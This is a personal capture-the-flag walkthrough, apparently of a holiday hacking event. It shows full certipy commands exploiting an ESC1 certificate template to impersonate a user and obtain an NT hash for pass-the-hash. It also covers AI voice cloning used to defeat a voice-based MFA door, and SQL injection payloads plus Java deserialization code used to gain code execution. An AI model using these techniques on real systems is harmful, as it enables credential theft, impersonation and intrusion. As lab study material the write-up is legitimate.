drw-rw-rw-          0  Tue Dec 19 01:15:09 2023 ..
-rw-rw-rw-     701028  Tue Dec 19 01:15:11 2023 Cookies.pdf
-rw-rw-rw-    1521650  Tue Dec 19 01:15:12 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Tue Dec 19 01:15:12 2023 SignatureCookies.pdf
drw-rw-rw-          0  Tue Dec 19 01:15:12 2023 super_secret_research
-rw-rw-rw-        165  Tue Dec 19 01:15:12 2023 todo.txt


alabaster@ssh-server-vm:~$ cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

I will need to impersonate someone from the research department to download the files.

To find a list of users to impersonate, impacket may come in handy.

I also need the ability to generate a .pfx.

Messing around with certipy:

alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

Password:
[!] Failed to resolve: NORTHPOLE.LOCAL
[!] Failed to resolve: NORTHPOLE.LOCAL
[-] Got error: invalid server address
[-] Use -debug to print a stacktrace
alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

Password:
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP

[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231219054739_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231219054739_Certipy.txt'
[*] Saved JSON output to '20231219054739_Certipy.json'

That gave me cert CA information. May come in handy later. Name of the CA: northpole-npdc01-CA

This got me a pfx:

alabaster@ssh-server-vm:~$ certipy req -ca northpole-npdc01-CA -u elfy@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

Password:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 24
[*] Got certificate with UPN 'elfy@northpole.local'
[*] Certificate object SID is 'S-1-5-21-2141915261-1331189239-2795416560-1104'
[*] Saved certificate and private key to 'elfy.pfx'

Definitely close to solving this. Problem is, I don’t need a cert for elfy, I want one for a researcher. Now an impacket script to enumerate users may be helpful.

This shows me “all” users:

alabaster@ssh-server-vm:~$ GetADUsers.py northpole.local/elfy -all -dc-ip 10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-19 01:03:30.683693  2023-12-19 01:18:10.640968
Guest                                                 <never>              <never>
krbtgt                                                2023-12-19 01:11:40.149623  <never>
elfy                                                  2023-12-19 01:14:17.462910  2023-12-19 05:22:30.500956
wombleycube                                           2023-12-19 01:14:17.587888  2023-12-19 05:49:48.014286

Wombleycube has to be it. There’s no other elves really. But in order to generate a pfx for that user, I need his hash. Maybe an impacket tool will help there?

Discord has told me the tool I need is certipy. Apparently there is a cert-related vuln that I need to exploit to get a TGT.

certipy auth will give me the hash. But I need a PFX first.

Pretty sure I need to do certipy forge.

From the github: Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key.

So it looks like I need to compromise a vuln in the CA to get their cert and private key (maybe just the cert?)

This find command let me see the vuln in the NorthPoleUsers template:

alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local -dc-ip 10.0.0.53 -password 'J4`ufC49/J4766' -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231219063650_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231219063650_Certipy.txt'
[*] Saved JSON output to '20231219063650_Certipy.json'
alabaster@ssh-server-vm:~$ cat '20231219063650_Certipy.txt'
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 17C3C9AF16B4A4A94DD58A34DE34AF38
    Certificate Validity Start          : 2023-12-19 01:07:03+00:00
    Certificate Validity End            : 2028-12-19 01:17:03+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Then I can exploit that and get the cert (ref the ESC-1 vuln details in the github page):

alabaster@ssh-server-vm:~$ certipy req -username elfy@northpole.local -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -target 10.0.0.53 -template NorthPoleUsers -upn wombleycube@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 27
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

Then I can use that cert to get the hash:

alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Then use smbclient.py to use that hash and auth to the share:

alabaster@ssh-server-vm:~$ smbclient.py northpole.local/wombleycube@10.0.0.53 -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# ls
[-] No share selected

Mget the file in the directory!

alabaster@ssh-server-vm:~$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Space Island Door Access Speaker

Hint

MFA: Something you Know: Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him. Ribb Bonbowford over at Coggoggle Marina on Steampunk Island may know.

He wants me to check on Alabaster Snowball at Rainraster Cliffs on Pixel Island though first. Basically, do Certificate SSHenanigans first.

It seems the Access Speaker is programmed to only accept Wombley’s voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.

Objective

Upload a .wav file containing a voice saying a specific word and open this door on Space Island.

Progress

Have the passphrase from the AD challenge, but it turns out that’s not enough. There is MFA: something you “are”. I have to “become” Wombley.

Try searching for another AI tool that can simulate voices. Use the audiobook I downloaded to the train the AI.

Used PlayHT, free account.

Recorded the spoofed voice and uploaded it to the door. There was a small server-side issue that prevented me from completing this for a bit, but it was resolved.

Camera Access

Hint

Hubris is a Virtue: In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.

Objective

Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?

Kinda unclear, but I think i’m supposed to hack the satellite and get access to the “Supervisor Directory”. Jack is masterminding it (obviously), and he must be using the nanostat.

Progress

In the satellite room there are two things to click on:

  • GateXOR
  • Video of a satellite coming to earth

GateXOR seems like a good starting point. From the info:

  • GateXOR is a magical time shifting alligator. For certain challenges GateXOR empowers the adventurer to perform point-in-time Travel or Collapse the specific timeline of the challenge, in order to start the challenge from the beginning.

  • Be warned! While GateXOR tries to help as many concurrent players as possible, this reptile only has so much juice in the tank. If running low on time-energy, GateXOR will let you know that a rest is required and that you’ll have to take a short break.

  • P.S. The magical modern dino is here to help and is not to be hacked! In fact if you find a bug, DM Santa’s team about it in the Discord channel!

So I guess Time Travel starts the challenge, and Collapse restarts.

After hitting Time Travel, I get this:

Status: 🟢 | Ttl: 3.9 hours | Target: 34.28.168.4

And some Wireguard config files :

###BEGIN###
### This is the server's Wireguard configuration file. Please consider saving it for your record. ###

[Interface]
Address = 10.1.1.1/24
PrivateKey = fYiVyqSdZGscxs6Kv3u5dXyfTna86eRGkVrbVm1FC1c=
ListenPort = 51820

[Peer]
PublicKey = EG6+aSDwqma5LfTSA3uqdItjAPjXjmILgsiTR0bFM0U=
AllowedIPs = 10.1.1.2/32


###END####

###BEGIN###
### This is your Wireguard configuration file. Please save it, configure a local Wireguard client, and connect to the Target. ###

[Interface]
Address = 10.1.1.2/24
PrivateKey = n85bEMsIKkZRn3qfph7BOXvNnCJBYoGDhIXx8nqGhdA=
ListenPort = 51820

[Peer]
PublicKey = gGQYm9ZyL3iP4F2cpEHlOsf86i0MdSJnIiHy3jBG63A=
Endpoint = 34.28.168.4:51820
AllowedIPs = 10.1.1.1/32


###END####

I loaded the bottom file (not my server file) into wireguard.conf and loaded it in my wireguard client. Then activated the connection.

I unpacked the zip, and it’s actually a container image. I think i’m supposed to load that wireguard conf file into my running container and interact with the nanostat framework from there.

Side note: I should use docker cp when moving files back and forth.

Trying to figure out the space portion of things now. Unsure if I need to use an existing nmf client on the machine, or build it myself.

I apparently need to use /opt/nmf/consumer-test-tool/consumer-test-tool.sh (CTT interface).

So I found the tool I need to use to connect, and the field/syntax to enter, but I need the IP and port still.

The IP is in the wireguard config, and I can ping it, but I need the port. Doing an nmap scan now.

Nmap showed me the port is 1024.

I connected via CTT using maltcp://34.28.168.4:1024/nanosat-mo-supervisor-Directory

I can see the Camera app, but it’s another maltcp endpoint, and I’m not sure how to connect to that.

Found the cli-tool, but I can’t ping 10.1.1.1. May need to regenerate the gator thing.

Regenerating worked, and I was able to take a picture.

The picture was just black though, so I think the CLI isn’t the way to do it. So I revisited CTT.

That connect button wasn’t working for me because I was using the public (34.x) IP. I needed to use the 10.1.1.1 IP, but I think something was wrong with my wireguard connection. I ended up reconnecting a couple times, doing a docker cp of the new config file, flipping my interface, and trying the ping again. Once the ping finally went through, I kept it on, and that seemed to fix it permanently.

Once the connect button was working, it opened up a whole new area of CTT. In the first menu, I could “start apps”. One of those apps being Camera, which I wanted to be on.

I clicked on that app, started it, and it gave me a new “camera” maltcp directory URL to connect to. I connected to that from the main menu of CTT, and hit the connect button, which opened up the “camera” app interface.

From that interface, there is a button to “snap a picture”. I did that, and looked in wireshark to see if the PNG was there, but it was not.

Drilling down a bit more into the interface, there was another button called something like “get B64 encoded representation of the camera image”.

Clicking that opens a dialog box that is unreadable, but it displays in a TCP stream in wireshark. I had to wait for the stream to reach something like 3000 packets, then copied all the B64 into a file, then decoded it/exported it into a PNG file. Opened that on my host machine, and was able to see the todo list, which the last message was:

CONQUER HOLIDAY SEASON!

Missile Diversion

Hint

Always Lock Your Computer: Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.

Says ^ Terminal: Satellite Ground Station Control Panel. Not sure what that is.

Objective

Thwart Jack’s evil plan by re-aiming his missle at the Sun.

Progress

Notes from discord:

Log back into directory service, but instead of launching the camera app, launch the missle app. Connect to it just like i did the camera.

Poke around in the UI until you see signs of SQL interaction. Maybe hit the debug button, and then use wireshark to sniff that traffic.

SQLi is involved. Try the command show grants. The satellite_query table might be vulnerable?

ChatGPT may be helpful here.

From reportinator:

SQL Injection Vulnerability in Java Application.
SCS identified an SQL injection vulnerability within the UserAccount module of an externally-facing Java application. Nessus and OWASP Zed Attack Proxy (ZAP) scanning tools first identified the vulnerability. SCS manually verified the vulnerability with the sqlmap tool. SCS provides an example of the sqlmap interface in Image 1. The analysis shows the Java application fails to sanitize user-supplied input in the username field before passing it to an SQL query. This flaw can be exploited to manipulate database queries, which can lead to unauthorized data disclosure, data loss, or even complete host takeover. An attacker can use this vulnerability to bypass authentication, execute arbitrary commands, access sensitive information, or delete or modify data.

SQLmap example usage:

python sqlmap.py -u “http://debiandev/sqlmap/mysql/get_int.php?id=1 –batch

Verification:

NPS security teams can verify the remediation of this finding by re-running the OWASP ZAP and sqlmap tools on the UserAccount module of the Java application, and ensure that no SQL injection vulnerabilities are detected by the tools. Additionally, NPS security teams can enter various types of input in the username field, such as numeric, alphanumeric, special characters, or SQL keywords to perform manual brute force verification

Remote Code Execution via Java Deserialization of Stored Database Objects (less likely to apply)

SCS analysts identified a vulnerability within an externally-accessible Java application on IP address 10.136.194.88. SCS evaluated this application with the ysoserial tool and Burp Suite to manually evaluate the application for typical Java vulnerabilities. As shown in Listing 1, we discovered the application uses Java's native serialization to store and retrieve objects from the AppData database table. This method is insecure. By intercepting HTTP request traffic on 88555/TCP, malicious actors can exploit this vulnerability by crafting and submitting specially serialized objects that can lead to remote code execution upon deserialization. Exploitation of this vulnerability could enable an attacker to execute arbitrary code on the application server and create a reverse shell, delete files, or access sensitive data. 

Verification: NPS security teams can verify the remediation of this finding with the ysoserial tool. The tool will stress the Java application with different commands and payloads to determine if the application is still vulnerable.

Notes from actual work:

When you connect to the initial “App Launcher Service”, one of two apps you can startup are “missle-targeting-system”.

The URL it gives back is maltcp://10.1.1.1:1025/missile-targeting-system-Directory

I put that into the Directory Service URL field and Fetched Information to find new services there. But more importantly, hit Connect and open a new UI.

In the Action Service tab, you can hit the Debug button. That returns nothing, so wireshark would be unable to see anything (and it didn’t).

But, in the Parameter service tab, you can Get the Debug value, which returns a rawValue of 11.2.2-MariaDB-1:11.2.2+maria~ubu2204.

SQLi is def involved here. Sniffing wireshark now.

If you Get the value in PointingMode, it is set to Earth Point Mode. I probably have to use SQLi to set it to Sun Point Mode.

Found my attack vector. You can edit “arguments” when you submit that Debug action, and it takes SQL commands. My first payload had a syntax error, but it returned something about it, so I know it works.

This payload works: ;

SHOW GRANTS #

So, this looks like I only have SELECT rights on most of the tables, like pointing_mode, messaging, etc. Which isn’t super helpful for SQLi.

But…I have INSERT rights on satellite_query. And that is the table that Discord mentioned, so that is the attack avenue.

A payload of ; SELECT * from satellite_query returns Java code. Which lines up with what Discord is mentioning. But I can’t copy it from the UI - I need to grab it from Wireshark.

Copied it from wireshark. Also in the header, it said it was from /opt/SatelliteQueryFileFolderUtility.java.

Not sure how to use this code. For now, I’m just gonna analyze it and take notes: Only one function of importance - getResults. Returns a String. What does this code do (overall)?

Also, this payload works:

; SELECT * from pointing_mode_to_str#

Knowing that, I can look at pointing_mode and see what the ID is: ; SELECT * from pointing_mode#

The numerical_mode is set to Zero - which is earth point mode. The ultimate goal is this: change that to a 1.

Tried this payload:

; UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1#

But I get this “command denied” error:

That error makes sense, since the show grants command told me I only have SELECT rights on that table. So I have to privesc somehow using that vulnerable table satellite_query.

Results is what contained the actual Java class code. ID was 1, like normal. And object was kinda a bunch of random text, including the name of the class file /opt/.java.

Just realized this: I only have the INSERT right on that table. So I cannot modify that first row, I need to insert a new one.

I’m thinking that object stores a serialized Java object. And I have to INSERT a new Java serialized object into that table. Once I do that, it automatically gets executed because of a server-side job.

My payload should update the sun pointing direction thing. 0 to a 1.

Just need to write my payload. Need some more research on Java serialization first. Going to ask ChatGPT. Maybe it can generate my payload, even.

More thoughts: The satellite_query table deserializes the object right then and there in the results column. So that is how the code would get executed presumably.

Couple issues with my payload: I probably want to implement that class it gives me. But, how can I do that without sitting right next to that class file? Going to test just copying all of that code, and adding other code on top of it. Bigger issue: I don’t have a connection string. Asked my discord contact, waiting to hear back. Will ask ChatGPT.

Experimenting with ysoserial and just did a ‘id’ payload. Trying to figure out how to “hex represent” that file. Figure it out I think. But my id payload doesn’t do anything, makes sense.

; insert into satellite_query(object) VALUES (UNHEX())

To upload my payload, I use the SQLi vuln, insert on that table and use the HEX keyword.

Something like:

insert into satellite_query (name_of_table_column) values ('9fad5e9eefdfb449');

All finished! In summary, I was on the right track with writing my custom code. Ysoserial was a rabbit hole.

This was my final code (generated from ChatGPT actually):

Side note - the code given actually had a bug at first, it should have been sqlupdatecommand, true, true but chatgpt gave me false, true. Fixed it manually.

import java.io.*;
import java.sql.DriverManager;
import java.sql.Connection;


public class payload implements Serializable {
    public static void main(String[] args) {
        // Replace these values with your actual database connection details
        String jdbcUrl = "jdbc:mariadb://localhost:3306/missile_targeting_system";
        String username = "targeter";
        String password = "cu3xmzp9tzpi00bdqvxq";


        // SQL command to update the pointing_mode table
        String sqlUpdateCommand = "UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1";


        // Create an instance of SatelliteQueryFileFolderUtility
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(sqlUpdateCommand, true, true);


        // Serialize the object
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedObject.ser"))) {
            oos.writeObject(utility);
            System.out.println("Serialization complete");
        } catch (IOException e) {
            e.printStackTrace();
        }


        // The rest of your code (Connection setup and calling getResults) remains unchanged
        try (Connection connection = DriverManager.getConnection(jdbcUrl, username, password)) {
            // Call the getResults method with the Connection object
            String result = utility.getResults(connection);


            // Print the result
            System.out.println(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

I compiled it (alongside the Class java file, and installed some libraries to make it work), got the .ser file, hexdumped it, then used that same sQLi avenue to inject it into the table:

; insert into satellite_query(object) VALUES (UNHEX(‘myhex’))

That worked and I got a video of the missile hitting the sun.

Written on April 5, 2024